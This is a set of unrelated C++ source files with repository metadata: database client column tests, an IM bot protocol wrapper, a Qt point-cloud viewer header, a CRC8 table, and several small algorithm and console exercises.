col = std::make_shared<ColumnInt128>(std::vector<Int128>{ absl::MakeInt128(0xffffffffffffffffll, 0xffffffffffffffffll), // -1 absl::MakeInt128(0, 0xffffffffffffffffll), // 2^64 absl::MakeInt128(0xffffffffffffffffll, 0), absl::MakeInt128(0x8000000000000000ll, 0), Int128(0) }); EXPECT_EQ(-1, col->At(0)); EXPECT_EQ(0xffffffffffffffffll, col->At(1)); EXPECT_EQ(0, col->At(4)); } TEST(ColumnsCase, ColumnDecimal128_from_string) { auto col = std::make_shared<ColumnDecimal>(38, 0); const auto values = { Int128(0), Int128(-1), Int128(1), std::numeric_limits<Int128>::min() + 1, std::numeric_limits<Int128>::max(), }; for (size_t i = 0; i < values.size(); ++i) { const auto value = values.begin()[i]; SCOPED_TRACE(::testing::Message() << "# index: " << i << " Int128 value: " << value); { std::stringstream sstr; sstr << value; const auto string_value = sstr.str(); EXPECT_NO_THROW(col->Append(string_value)); } ASSERT_EQ(i + 1, col->Size()); EXPECT_EQ(value, col->At(i)); } } TEST(ColumnsCase, ColumnDecimal128_from_string_overflow) { auto col = std::make_shared<ColumnDecimal>(38, 0); // 2^128 overflows EXPECT_ANY_THROW(col->Append("340282366920938463463374607431768211456")); // special case for number bigger than 2^128, ending in zeroes. EXPECT_ANY_THROW(col->Append("400000000000000000000000000000000000000")); #ifndef ABSL_HAVE_INTRINSIC_INT128 // unfortunatelly std::numeric_limits<Int128>::min() overflows when there is no __int128 intrinsic type. EXPECT_ANY_THROW(col->Append("-170141183460469231731687303715884105728")); #endif } TEST(ColumnsCase, ColumnLowCardinalityString_Append_and_Read) { const size_t items_count = 11; ColumnLowCardinalityT<ColumnString> col; for (const auto & item : GenerateVector(items_count, &FooBarSeq)) { col.Append(item); } ASSERT_EQ(col.Size(), items_count); ASSERT_EQ(col.GetDictionarySize(), 8u + 1); // 8 unique items from sequence + 1 null-item for (size_t i = 0; i < items_count; ++i) { ASSERT_EQ(col.At(i), FooBarSeq(i)) << " at pos: " << i; ASSERT_EQ(col[i], FooBarSeq(i)) << " at pos: " << i; } } TEST(ColumnsCase, ColumnLowCardinalityString_Clear_and_Append) { const size_t items_count = 11; ColumnLowCardinalityT<ColumnString> col; for (const auto & item : GenerateVector(items_count, &FooBarSeq)) { col.Append(item); } col.Clear(); ASSERT_EQ(col.Size(), 0u); ASSERT_EQ(col.GetDictionarySize(), 1u); // null-item for (const auto & item : GenerateVector(items_count, &FooBarSeq)) { col.Append(item); } ASSERT_EQ(col.Size(), items_count); ASSERT_EQ(col.GetDictionarySize(), 8u + 1); // 8 unique items from sequence + 1 null-item } TEST(ColumnsCase, ColumnLowCardinalityString_Load) { const size_t items_count = 10; ColumnLowCardinalityT<ColumnString> col; const auto & data = LOWCARDINALITY_STRING_FOOBAR_10_ITEMS_BINARY; ArrayInput buffer(data.data(), data.size()); CodedInputStream stream(&buffer); EXPECT_TRUE(col.Load(&stream, items_count)); for (size_t i = 0; i < items_count; ++i) { EXPECT_EQ(col.At(i), FooBarSeq(i)) << " at pos: " << i; } } // This is temporary diabled since we are not 100% compatitable with ClickHouse // on how we serailize LC columns, but we check interoperability in other tests (see client_ut.cpp) TEST(ColumnsCase, DISABLED_ColumnLowCardinalityString_Save) { const size_t items_count = 10; ColumnLowCardinalityT<ColumnString> col; for (const auto & item : GenerateVector(items_count, &FooBarSeq)) { col.Append(item); } ArrayOutput output(0, 0); CodedOutputStream output_stream(&output); const size_t expected_output_size = LOWCARDINALITY_STRING_FOOBAR_10_ITEMS_BINARY.size(); // Enough space to account for possible overflow from both right and left sides. char buffer[expected_output_size * 10] = {'\0'}; const char margin_content[sizeof(buffer)] = {'\0'}; const size_t left_margin_size = 10; const size_t right_margin_size = sizeof(buffer) - left_margin_size - expected_output_size; // Since overflow from left side is less likely to happen, leave only tiny margin there. auto write_pos = buffer + left_margin_size; const auto left_margin = buffer; const auto right_margin = write_pos + expected_output_size; output.Reset(write_pos, expected_output_size); EXPECT_NO_THROW(col.Save(&output_stream)); // Left margin should be blank EXPECT_EQ(std::string_view(margin_content, left_margin_size), std::string_view(left_margin, left_margin_size)); // Right margin should be blank too EXPECT_EQ(std::string_view(margin_content, right_margin_size), std::string_view(right_margin, right_margin_size)); // TODO: right now LC columns do not write indexes in the most compact way possible, so binary representation is a bit different // (there might be other inconsistances too) EXPECT_EQ(LOWCARDINALITY_STRING_FOOBAR_10_ITEMS_BINARY, std::string_view(write_pos, expected_output_size)); } TEST(ColumnsCase, ColumnLowCardinalityString_SaveAndLoad) { // Verify that we can load binary representation back ColumnLowCardinalityT<ColumnString> col; const auto items = GenerateVector(10, &FooBarSeq); for (const auto & item : items) { col.Append(item); } char buffer[256] = {'\0'}; // about 3 times more space than needed for this set of values. { ArrayOutput output(buffer, sizeof(buffer)); CodedOutputStream output_stream(&output); EXPECT_NO_THROW(col.Save(&output_stream)); } col.Clear(); { // Load the data back ArrayInput input(buffer, sizeof(buffer)); CodedInputStream input_stream(&input); EXPECT_TRUE(col.Load(&input_stream, items.size())); } for (size_t i = 0; i < items.size(); ++i) { EXPECT_EQ(col.At(i), items[i]) << " at pos: " << i; } } TEST(ColumnsCase, ColumnLowCardinalityString_WithEmptyString_1) { // Verify that when empty string is added to a LC column it can be retrieved back as empty string. ColumnLowCardinalityT<ColumnString> col; const auto values = GenerateVector(10, AlternateGenerators<std::string>(SameValueSeq<std::string>(""), FooBarSeq)); for (const auto & item : values) { col.Append(item); } for (size_t i = 0; i < values.size(); ++i) { EXPECT_EQ(values[i], col.At(i)) << " at pos: " << i; } } TEST(ColumnsCase, ColumnLowCardinalityString_WithEmptyString_2) { // Verify that when empty string is added to a LC column it can be retrieved back as empty string. // (Ver2): Make sure that outcome doesn't depend if empty values are on odd positions ColumnLowCardinalityT<ColumnString> col; const auto values = GenerateVector(10, AlternateGenerators<std::string>(FooBarSeq, SameValueSeq<std::string>(""))); for (const auto & item : values) { col.Append(item); } for (size_t i = 0; i < values.size(); ++i) { EXPECT_EQ(values[i], col.At(i)) << " at pos: " << i; } } TEST(ColumnsCase, ColumnLowCardinalityString_WithEmptyString_3) { // When we have many leading empty strings and some non-empty values. ColumnLowCardinalityT<ColumnString> col; const auto values = ConcatSequences(GenerateVector(100, SameValueSeq<std::string>("")), GenerateVector(5, FooBarSeq)); for (const auto & item : values) { col.Append(item); } for (size_t i = 0; i < values.size(); ++i) { EXPECT_EQ(values[i], col.At(i)) << " at pos: " << i; } } TEST(ColumnsCase, CreateSimpleAggregateFunction) { auto col = CreateColumnByType("SimpleAggregateFunction(funt, Int32)"); ASSERT_EQ("Int32", col->Type()->GetName()); ASSERT_EQ(Type::Int32, col->Type()->GetCode()); ASSERT_NE(nullptr, col->As<ColumnInt32>()); } TEST(ColumnsCase, UnmatchedBrackets) { // When type string has unmatched brackets, CreateColumnByType must return nullptr. ASSERT_EQ(nullptr, CreateColumnByType("FixedString(10")); ASSERT_EQ(nullptr, CreateColumnByType("Nullable(FixedString(10000")); ASSERT_EQ(nullptr, CreateColumnByType("Nullable(FixedString(10000)")); ASSERT_EQ(nullptr, CreateColumnByType("LowCardinality(Nullable(FixedString(10000")); ASSERT_EQ(nullptr, CreateColumnByType("LowCardinality(Nullable(FixedString(10000)")); ASSERT_EQ(nullptr, CreateColumnByType("LowCardinality(Nullable(FixedString(10000))")); ASSERT_EQ(nullptr, CreateColumnByType("Array(LowCardinality(Nullable(FixedString(10000")); ASSERT_EQ(nullptr, CreateColumnByType("Array(LowCardinality(Nullable(FixedString(10000)")); ASSERT_EQ(nullptr, CreateColumnByType("Array(LowCardinality(Nullable(FixedString(10000))")); ASSERT_EQ(nullptr, CreateColumnByType("Array(LowCardinality(Nullable(FixedString(10000)))")); } TEST(ColumnsCase, LowCardinalityAsWrappedColumn) { CreateColumnByTypeSettings create_column_settings; create_column_settings.low_cardinality_as_wrapped_column = true; ASSERT_EQ(Type::String, CreateColumnByType("LowCardinality(String)", create_column_settings)->GetType().GetCode()); ASSERT_EQ(Type::String, CreateColumnByType("LowCardinality(String)", create_column_settings)->As<ColumnString>()->GetType().GetCode()); ASSERT_EQ(Type::FixedString, CreateColumnByType("LowCardinality(FixedString(10000))", create_column_settings)->GetType().GetCode()); ASSERT_EQ(Type::FixedString, CreateColumnByType("LowCardinality(FixedString(10000))", create_column_settings)->As<ColumnFixedString>()->GetType().GetCode()); } class ColumnsCaseWithName : public ::testing::TestWithParam<const char* /*Column Type String*/> {}; TEST_P(ColumnsCaseWithName, CreateColumnByType) { const auto col = CreateColumnByType(GetParam()); ASSERT_NE(nullptr, col); EXPECT_EQ(col->GetType().GetName(), GetParam()); } INSTANTIATE_TEST_CASE_P(Basic, ColumnsCaseWithName, ::testing::Values( "Int8", "Int16", "Int32", "Int64", "UInt8", "UInt16", "UInt32", "UInt64", "String", "Date", "DateTime", "UUID", "Int128" )); INSTANTIATE_TEST_CASE_P(Parametrized, ColumnsCaseWithName, ::testing::Values( "FixedString(0)", "FixedString(10000)", "DateTime('UTC')", "DateTime64(3, 'UTC')", "Decimal(9,3)", "Decimal(18,3)", "Enum8('ONE' = 1, 'TWO' = 2)", "Enum16('ONE' = 1, 'TWO' = 2, 'THREE' = 3, 'FOUR' = 4)" )); INSTANTIATE_TEST_CASE_P(Nested, ColumnsCaseWithName, ::testing::Values( "Nullable(FixedString(10000))", "Nullable(LowCardinality(FixedString(10000)))", "Array(Nullable(LowCardinality(FixedString(10000))))", "Array(Enum8('ONE' = 1, 'TWO' = 2))" ));
4fb97c79ade1fa48ca44d5a54485341da97d87c0
560289132368c9c47532b20035682791c530bdb1
/programmers_무지의 먹방.cpp
8f1c5db4f86565266611f30d3197d2003c7377a3
[]
no_license
jiws829/Algorithm-Problems-
a3bd6073f0fe0c5f21daaebb3530e5291899e42b
11e51676ee1900610afc361c5172bb4a66a5445b
refs/heads/master
2023-01-07T22:30:05.488463
2020-11-07T05:55:58
2020-11-07T05:55:58
257,528,756
0
0
null
null
null
null
UTF-8
C++
false
false
1,523
cpp
programmers_무지의 먹방.cpp
#include <string> #include <vector> #include<iostream> #include<algorithm> using namespace std; vector<vector<int>> food; vector<int> p; int sort_n(vector<int> a, vector<int> b) { if (a[1] == b[1] && a[0] < b[0]) return 1; if (a[1] < b[1]) return 1; return 0; } int solution(vector<int> food_times, long long k) { int answer = 0; int i; int flag = 0; for (i = 0; i < food_times.size(); i++) { food.push_back({ i + 1,food_times[i] }); } sort(food.begin(), food.end(), sort_n); //for (i = 0; i < food.size(); i++) printf("%d %d\n", food[i][0], food[i][1]); for (i = 0; i < food.size(); i++) { if ((i > 0 && (long long)(food.size() - i) * (food[i][1] - food[i - 1][1]) <= k) || (i == 0 && (long long)(food.size() - i) * food[i][1] <= k)) { if (i == 0) k -= (long long)(food.size() - i) * food[i][1]; else k -= (long long)(food.size() - i) * (food[i][1] - food[i - 1][1]); //printf("%lld\n", k); } else { flag = 1; break; } } if (flag == 0) answer = -1; else { for (int j = i; j < food.size(); j++) p.push_back(food[j][0]); sort(p.begin(), p.end()); k %= p.size(); answer = p[k]; } return answer; } int main() { vector<int> food_times = { 3,1,2 }; long long k = 5; int answer = solution(food_times, k); cout << answer << endl; }
1339996c825aa56e4814a43c8c77383aaba6e54a
90fa1d22eb9885953c3c64e5107feb3361c6fef6
/src/avproto_wrapper.cpp
06c166a5b663b2b2450b6fbf5080fe346d88191f
[]
no_license
xiaopeifeng/avim_bot
86609d68a0d458ee7efd6dec68b1bbda0c45187e
4c8f540f84d11f2b2f7de5ea2b81d83a3d642e04
refs/heads/master
2020-05-14T17:46:15.487140
2014-12-13T14:23:11
2014-12-13T14:23:11
27,841,212
1
0
null
null
null
null
UTF-8
C++
false
false
2,985
cpp
avproto_wrapper.cpp
#include "logging.hpp" #include "avproto_wrapper.hpp" #include "bot_group.hpp" #include "avproto.hpp" #include "avproto/avjackif.hpp" #include "avproto/message.hpp" #include "bot_service.hpp" #include <openssl/x509.h> #include <openssl/pem.h> #include <openssl/evp.h> namespace bot_avim { avproto_wrapper::avproto_wrapper(boost::asio::io_service& io_service, std::shared_ptr<RSA> key, std::shared_ptr<X509> crt) : m_io_service(io_service) , m_key(key) , m_crt(crt) , m_avkernel(io_service) { LOG_DBG << "avproto constructor"; } avproto_wrapper::~avproto_wrapper() {} bool avproto_wrapper::register_service(bot_service *service) { m_service.reset(service); } bool avproto_wrapper::start() { boost::asio::spawn(m_io_service, std::bind(&avproto_wrapper::connect_coroutine, this, std::placeholders::_1)); } const std::string& avproto_wrapper::get_local_addr() { return m_local_addr; } void avproto_wrapper::connect_coroutine(boost::asio::yield_context yield_context) { m_avif.reset(new avjackif(m_io_service)); boost::asio::spawn(m_io_service, std::bind(&avproto_wrapper::login_coroutine, this, std::placeholders::_1)); } bool avproto_wrapper::login_coroutine(boost::asio::yield_context yield_context) { std::shared_ptr<RSA> m_rsa_key = m_key; std::shared_ptr<X509> m_x509_cert = m_crt; m_avif->set_pki(m_rsa_key, m_x509_cert); auto _debug_host = getenv("AVIM_HOST"); bool ret = m_avif->async_connect(_debug_host?_debug_host:"avim.avplayer.org", "24950", yield_context); //bool ret = m_avif->async_connect("127.0.0.1", "24950", yield_context); std::cout << "connect ok" << std::endl; if (m_avif->async_handshake(yield_context)) { std::cout << "login success " << std::endl; } m_avkernel.add_interface(m_avif); std::string me_addr = av_address_to_string(*m_avif->if_address()); m_avkernel.add_route(".+@.+", me_addr, m_avif->get_ifname(), 100); m_local_addr = av_address_to_string(*m_avif->if_address()); // start message_receiver boost::asio::spawn(m_io_service, std::bind(&avproto_wrapper::handle_message, this, std::placeholders::_1)); m_service.get()->notify(0, 1, 0); //reconnect m_avif->signal_notify_remove.connect([this](){ m_service.get()->notify(0, 0, 0); }); return true; } bool avproto_wrapper::handle_message(boost::asio::yield_context yield_context) { for(;;) { std::string target, data, from; m_avkernel.async_recvfrom(target, data, yield_context); if(is_control_message(data)) m_service.get()->handle_message(0,target, decode_control_message(data, from)); else m_service.get()->handle_message(target, data); } return true; } bool avproto_wrapper::write_packet(const std::string &target, const std::string &pkt) { m_avkernel.async_sendto(target, pkt, [](boost::system::error_code ec){ if(ec) std::cout << "send failed, msg: " << ec.message() << std::endl; else std::cout << "send ok" << std::endl; }); } }
00d44eae7bf877e1a237e97a95b0e5876e784fdd
51af5a30b63d1a9e8e42de3558738bbdcd4ee22b
/src/qt/widgets/mainwindow.h
35ce53c5eea5d2e64abbcaa48d5b7ace42e7b813
[]
no_license
sunjingnjupt/PE-CHL-v2
deadf717c7a7c489b1a57e0d0459abc5504cd1ea
1fd1ca834e3f4103ba2812811abbef2a565baeba
refs/heads/main
2023-06-08T05:43:17.940876
2021-07-04T04:35:31
2021-07-04T04:35:31
382,638,635
3
0
null
null
null
null
UTF-8
C++
false
false
4,848
h
mainwindow.h
#ifndef MAINWINDOW_H #define MAINWINDOW_H #include <QWidget> #include <QMainWindow> #include <iostream> #include "groundRemove/include/param.h" #include <QColor> #include <QDebug> #include <QImage> #include <QPixmap> #include <QString> #include <QFileDialog> #include <QTextCursor> #include <QComboBox> #include <QHBoxLayout> #include "utils.h" #include "groundRemove/include/cloud.h" #include "Eigen/Dense" #include <QKeyEvent> #include "viewer.h" #include "base_viewer_widget.h" // groundRemove 的代码 #include "groundRemove/include/groundRemove.h" // 聚类 #include "groundRemove/include/component_clustering.h" // bounding box #include "groundRemove/include/box_fitting.h" // imm_ukf_pda tracking #include "groundRemove/include/imm_ukf_pda.h" #include <QTextEdit> #include <QGraphicsView> #include <QGraphicsScene> #include <QPixmap> #include <opencv2/core.hpp> #include <opencv2/opencv.hpp> #include <opencv2/highgui.hpp> #include <opencv2/imgproc.hpp> #include <QLabel> #include <QDockWidget> #include <QSpinBox> #include <unordered_map> #include <QDesktopWidget> #include <QRect> #include "groundRemove/include/box_fitting.h" namespace Ui { class MainWindow; } // class Widget : public QWidget class MainWindow : public BaseViewerWidget { Q_OBJECT public: explicit MainWindow(QWidget *parent = 0); ~MainWindow(); // log 光标移动到最后 void moveCursorToEnd(); void updateTransMatrix(const int & currentFrame); point transPointG2L(const point & input); point transPointL2G(const point & input); void transformPoseToGlobal(const std::vector<BBox>& input, std::vector<BBox>& transformed_input, const size_t & currentFrame); void transCloudL2G(std::vector<Cloud::Ptr> & input, int pointNum); void transCloudL2G(Cloud::Ptr & input); // std::vector<std::string> fileNameBin; // std::vector<std::string> fileNameImage; Cloud cloud; // Viewer *_viewer = nullptr; // groundRemove 的参数 GroundSegmentationParams params_groundRemove; float angle_threshold; bool depthImagefilter; size_t girdImageResize; float lShpaeHorizonResolution; std::unordered_map<int, int> bboxToCluster; // 跟踪 IMM_UKF_PDA filter protected: void keyPressEvent(QKeyEvent *event) override; virtual void resizeEvent(QResizeEvent *event) override; private slots: void onOpenFolderToRead(); /** * @param * @brief 播放和暂停 */ void onPlayClouds(); void onSliderMovedTo(int cloud_number); void onReset(); // 重新显示, 当改变形式的时候 void onUpdateShow(); void onUpdateShow(int num); void onUpdateShow(bool isFullScreen); void onUpdate(); // 改变参数类型, 为了调整参数 void onParamSet(); // 清除选择的 ID void onClearSelection(); // 将点云转换为 BBoxs 点的函数 std::vector<BBox> CloudToBBoxs(const std::vector<Cloud::Ptr> & bboxPts); inline Eigen::Matrix3f getMatrixL2G(){return transL2G_;} private: // Ui::Widget *ui; std::unique_ptr<Ui::MainWindow> ui; params _params; std::vector<std::string> _file_names_velo; std::vector<std::string> _file_names_img; std::vector<std::string> _file_names_label; std::vector<std::string> _file_names_perdict; Cloud::Ptr _cloud; // 是播放还是暂停 bool playCloud; // 当前数据索引 size_t curr_data_idx; // 总计所少个数据 size_t numData; // new widget QTextEdit *infoTextEdit = nullptr; // 显示图像 // std::unique_ptr<QGraphicsScene> _scene = nullptr; // std::unique_ptr<QGraphicsView> _graphView = nullptr; // 可供选择的 对象 QComboBox *ObjSelectCB; QDockWidget *dock_Image; // QDockWidget *dock_cluster_image; // QDockWidget *dockshow_depth_image; // QDockWidget *dockshow_depth_image2; QLabel *imgLabel; QLabel *cluster_image; QLabel *depth_image; QLabel *depth_image2; QHBoxLayout *horizontalLayout_tracking; QSpinBox *trackIDSB; // QLabel *trackLB; // tracking matrix vector<float> timestampVec; vector<std::array<float, 3>> selfCarPose; Eigen::Matrix3f transG2L_, transL2G_; // 新建一个窗口试试 // 创建要显示的 gird rect // std::vector<Rect2D> rect2DVec; public: bool isFullScreen; QRect subWindSize; // int trackId; // 上一帧的 bbox 历史显示记录 std::vector<Cloud::Ptr> hisBBoxs; // 记录上一帧的 ref 点 Cloud::Ptr hisRefPoints; // for vis label cailb normal Eigen::MatrixXd MATRIX_T_VELO_2_CAM = Eigen::MatrixXd(4, 4); Eigen::MatrixXd MATRIX_R_RECT_0 = Eigen::MatrixXd(4, 4); signals: void fullScreenSignals(); }; #endif // WIDGET_H
be04c745bc3a740818fe80dd69af3ee746d42277
7c0cf21501c1a55f137e51ddeefcbeaa99105868
/src/ihm/CustomWidgets/taskform.h
b5e218eae832de6889040204a99ab399fa3ef0f1
[]
no_license
bmael/IHMProject
f4b762a78f6444084ba32975c51169bb4239c0e6
3f067a5033f42e03a8dbb0436f1307edb783cdc6
refs/heads/master
2020-06-03T15:02:31.018888
2013-02-19T13:23:33
2013-02-19T13:23:33
null
0
0
null
null
null
null
UTF-8
C++
false
false
423
h
taskform.h
#ifndef TASKFORM_H #define TASKFORM_H #include <QWidget> #include <QEvent> namespace Ui { class TaskForm; } class TaskForm : public QWidget { Q_OBJECT public: explicit TaskForm(QWidget *parent = 0); ~TaskForm(); public slots: void showAbsoluteTimeLimit(); void showRelativeTimeLimit(); void retranslate(); signals: void hideThis(); private: Ui::TaskForm *ui; }; #endif // TASKFORM_H
55b088a35d234ebd92ddc1a92a1f4048ba738526
dccd58467948ec58bd544fc7ec1ab1a2bb5d40af
/07 - registros/133925-Registros_ATP-2016Maio24/HistCoRI.cpp
6bcdb620ee4966f953222a22f473fb6524e7962c
[]
no_license
ramonbr14/CeCplusplus
37debfa7139ca02d73c5090ff92c934d4b86913c
5a69fb4e9fcbc3cdb648cb8ae7f0cdbcd09f99df
refs/heads/main
2023-02-13T05:25:12.762710
2021-01-13T07:01:11
2021-01-13T07:01:11
329,214,424
0
0
null
null
null
null
WINDOWS-1252
C++
false
false
3,149
cpp
HistCoRI.cpp
//Nome do programa: HistCoRI.cpp #include <iostream> #include <stdlib.h> #include <stdio.h> #include <conio.h> #include <math.h> #include <ctype.h> #include <Windows.h> #define TAMCONJ 2 using namespace std; void gotoxy(int x, int y){ SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),(COORD){x-1,y-1}); } //definição da estrutura de um registro de conjuntos de um aluno struct HistoricoEscolar { char disciplina[30], situacao; float notas[5]; int faltas; }; int main(){ int i; char aluno[50]; //char *aluno = ""; int ano; HistoricoEscolar ficha2005[TAMCONJ]; //declaração da variável que é um conj. de registros system("cls"); gotoxy(1,5); cout << "********************* Programa: Historico Escolar ***********************"; //Entrada dos dados da ficha cout << "\nAluno: "; gets(aluno); cout << "\nAno: "; cin >> ano; for(i=0;i<TAMCONJ;i++){ fflush(stdin); cout << "-------------------------------------------------------"; cout << "\nDisciplina: "; gets(ficha2005[i].disciplina); cout << "\nNotas Bimestrais: "; cout << "\n -> Primeira: "; cin >> ficha2005[i].notas[0]; cout << "\n -> Segunda: "; cin >> ficha2005[i].notas[1]; cout << "\n -> Terceira: "; cin >> ficha2005[i].notas[2]; cout << "\n -> Quarta: "; cin >> ficha2005[i].notas[3]; cout << "\nNumero de Faltas: "; cin >> ficha2005[i].faltas; } //Processamento da m‚dia e da situação dos alunos nas disciplinas for(i=0;i<TAMCONJ;i++){ ficha2005[i].notas[4]=(ficha2005[i].notas[0] + ficha2005[i].notas[1] + ficha2005[i].notas[2] + ficha2005[i].notas[3])/4; if(ficha2005[i].notas[4]>=5) ficha2005[i].situacao ='A'; else ficha2005[i].situacao ='R'; } //Sa¡da dos dados da ficha system("cls"); gotoxy(1,5); cout << "*************************** HISTORICO ESCOLAR *****************************"; gotoxy(5,7); cout << "Aluno: " << aluno; gotoxy(5,8); cout << "Ano: " << ano; gotoxy(1,11); cout << "---------------------------------- Notas Bimestrais -----------------------"; gotoxy(1,12); cout << " Disciplina"; gotoxy(30,12); cout << "1a 2a 3a 4a Media Situacao Faltas"; gotoxy(1,13); cout << "-----------------------------------------------------------------------------"; for(i=0;i<TAMCONJ;i++){ gotoxy(2,14+i); cout << ficha2005[i].disciplina; gotoxy(30,14+i); printf("%2.1f", ficha2005[i].notas[0]); gotoxy(36,14+i); printf("%2.1f", ficha2005[i].notas[1]); gotoxy(42,14+i); printf("%2.1f", ficha2005[i].notas[2]); gotoxy(48,14+i); printf("%2.1f", ficha2005[i].notas[3]); gotoxy(55,14+i); printf("%2.1f", ficha2005[i].notas[4]); gotoxy(62,14+i); if(ficha2005[i].situacao=='A') cout << "Aprovado"; else cout << "Reprovado"; gotoxy(74,14+i); cout << ficha2005[i].faltas; } getchar(); return 0; }
051e4fda896378ed37dfe3862b7e3405ce2b04b9
7fa8b45e8f9274ff4c4055eb34f89e1672ae7be9
/CRC8.cpp
7db7f0ade7644161072b18559064dcaf06df930a
[]
no_license
lee8871/SRB-master-arduino
562425efd5dd183dbca3438dd05620b7566f8e9b
58868a92359c55dedaf929d58c6e4ba842dad2cb
refs/heads/master
2021-07-02T23:29:40.966720
2020-09-16T08:58:29
2020-09-16T08:58:29
156,062,874
1
0
null
null
null
null
UTF-8
C++
false
false
1,498
cpp
CRC8.cpp
/* * CPPFile1.cpp * * Created: 2017/8/26 12:39:26 * Author: lee */ #include "lee.h" #include "CRC8.h" #define SIGNATURE 112 const uint8 Crc_table[256] PROGMEM = { 0x00,0x31,0x62,0x53,0xc4,0xf5,0xa6,0x97,0xb9,0x88,0xdb,0xea,0x7d,0x4c,0x1f,0x2e, 0x43,0x72,0x21,0x10,0x87,0xb6,0xe5,0xd4,0xfa,0xcb,0x98,0xa9,0x3e,0x0f,0x5c,0x6d, 0x86,0xb7,0xe4,0xd5,0x42,0x73,0x20,0x11,0x3f,0x0e,0x5d,0x6c,0xfb,0xca,0x99,0xa8, 0xc5,0xf4,0xa7,0x96,0x01,0x30,0x63,0x52,0x7c,0x4d,0x1e,0x2f,0xb8,0x89,0xda,0xeb, 0x3d,0x0c,0x5f,0x6e,0xf9,0xc8,0x9b,0xaa,0x84,0xb5,0xe6,0xd7,0x40,0x71,0x22,0x13, 0x7e,0x4f,0x1c,0x2d,0xba,0x8b,0xd8,0xe9,0xc7,0xf6,0xa5,0x94,0x03,0x32,0x61,0x50, 0xbb,0x8a,0xd9,0xe8,0x7f,0x4e,0x1d,0x2c,0x02,0x33,0x60,0x51,0xc6,0xf7,0xa4,0x95, 0xf8,0xc9,0x9a,0xab,0x3c,0x0d,0x5e,0x6f,0x41,0x70,0x23,0x12,0x85,0xb4,0xe7,0xd6, 0x7a,0x4b,0x18,0x29,0xbe,0x8f,0xdc,0xed,0xc3,0xf2,0xa1,0x90,0x07,0x36,0x65,0x54, 0x39,0x08,0x5b,0x6a,0xfd,0xcc,0x9f,0xae,0x80,0xb1,0xe2,0xd3,0x44,0x75,0x26,0x17, 0xfc,0xcd,0x9e,0xaf,0x38,0x09,0x5a,0x6b,0x45,0x74,0x27,0x16,0x81,0xb0,0xe3,0xd2, 0xbf,0x8e,0xdd,0xec,0x7b,0x4a,0x19,0x28,0x06,0x37,0x64,0x55,0xc2,0xf3,0xa0,0x91, 0x47,0x76,0x25,0x14,0x83,0xb2,0xe1,0xd0,0xfe,0xcf,0x9c,0xad,0x3a,0x0b,0x58,0x69, 0x04,0x35,0x66,0x57,0xc0,0xf1,0xa2,0x93,0xbd,0x8c,0xdf,0xee,0x79,0x48,0x1b,0x2a, 0xc1,0xf0,0xa3,0x92,0x05,0x34,0x67,0x56,0x78,0x49,0x1a,0x2b,0xbc,0x8d,0xde,0xef, 0x82,0xb3,0xe0,0xd1,0x46,0x77,0x24,0x15,0x3b,0x0a,0x59,0x68,0xff,0xce,0x9d,0xac };
a9c4018e8227db0671423a7c5d4869cb74535097
067173056bdb82e8605b0ffa708ad858ae0285a4
/algorithm/290-WordPattern/WordPattern.cpp
e0f47b38d628303cf5cbef239c57668a52d671a3
[]
no_license
AlgoPeek/leetcode
48143646d138c84a6c0d9e2ae31703bb6e997622
6676c4a89bed1982b40fdd86eed5613ebd7932b8
refs/heads/master
2021-06-09T06:39:31.001297
2020-02-28T10:11:12
2020-02-28T10:11:12
140,302,492
0
0
null
null
null
null
UTF-8
C++
false
false
3,412
cpp
WordPattern.cpp
// Source: https://leetcode.com/problems/word-pattern/description/ // Author: Diego Lee // Date: 2018-08-13 // // Description: // Given a pattern and a string str, find if str follows the same pattern. // // Here follow means a full match, such that there is a bijection between a letter in pattern and a non-empty word in str. // // Example 1: // // Input: pattern = "abba", str = "dog cat cat dog" // Output: true // Example 2: // // Input:pattern = "abba", str = "dog cat cat fish" // Output: false // Example 3: // // Input: pattern = "aaaa", str = "dog cat cat dog" // Output: false // Example 4: // // Input: pattern = "abba", str = "dog dog dog dog" // Output: false // Notes: // You may assume pattern contains only lowercase letters, and str contains lowercase letters separated by a single space. #include <iostream> #include <vector> #include <string> #include <cassert> #include <unordered_map> class Solution { public: bool wordPattern(std::string pattern, std::string str) { std::vector<std::string> tokens = getTokens(str); if (pattern.size() != tokens.size()) { return false; } std::unordered_map<char, std::string> hash1; std::unordered_map<std::string, char> hash2; for (int i = 0; i < pattern.size(); ++i) { if (hash1.find(pattern[i]) == hash1.end()) { if (hash2.find(tokens[i])== hash2.end()) { hash1[pattern[i]] = tokens[i]; hash2[tokens[i]] = pattern[i]; } else { if (hash2[tokens[i]] != pattern[i]) { return false; } } } else { if (hash1[pattern[i]] != tokens[i]) { return false; } } } return true; } std::vector<std::string> getTokens(const std::string& str) { std::vector<std::string> result; int pos = 0; for (int i = 0, len = str.size(); i < len; ++i) { if (str[i] == ' ') { std::string token = str.substr(pos, i - pos); if (!token.empty()) { result.push_back(token); } pos = i + 1; } else if (i == len - 1) { while (pos < len && str[pos] == ' ') { ++pos; } if (pos < len) { result.push_back(str.substr(pos)); } } } return result; } }; void testWordPattern() { Solution s; assert(s.wordPattern("abba", "dog cat cat dog") == true); assert(s.wordPattern("abba", "dog cat cat fish") == false); assert(s.wordPattern("aaaa", "dog cat cat dog") == false); assert(s.wordPattern("abba", "dog dog dog dog") == false); } int main() { testWordPattern(); return 0; }
0c7f71c5c0d0b890dbf6014badf3496591d343b1
4cb7bc88f915eb74fd55d18fdf4b5c02c6fe56da
/LastOccurance.cpp
150abe6c616fffd29cc950dff8a521a22a4e7f6f
[]
no_license
Ritik-s7/Searching
883e61dbb6245f12a1f1442efb9cdac0ff1ccf7d
692fec9690c88b0d8e6434dce63a32a53d5568e0
refs/heads/master
2023-05-22T22:05:03.502392
2021-06-10T12:11:15
2021-06-10T12:11:15
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,672
cpp
LastOccurance.cpp
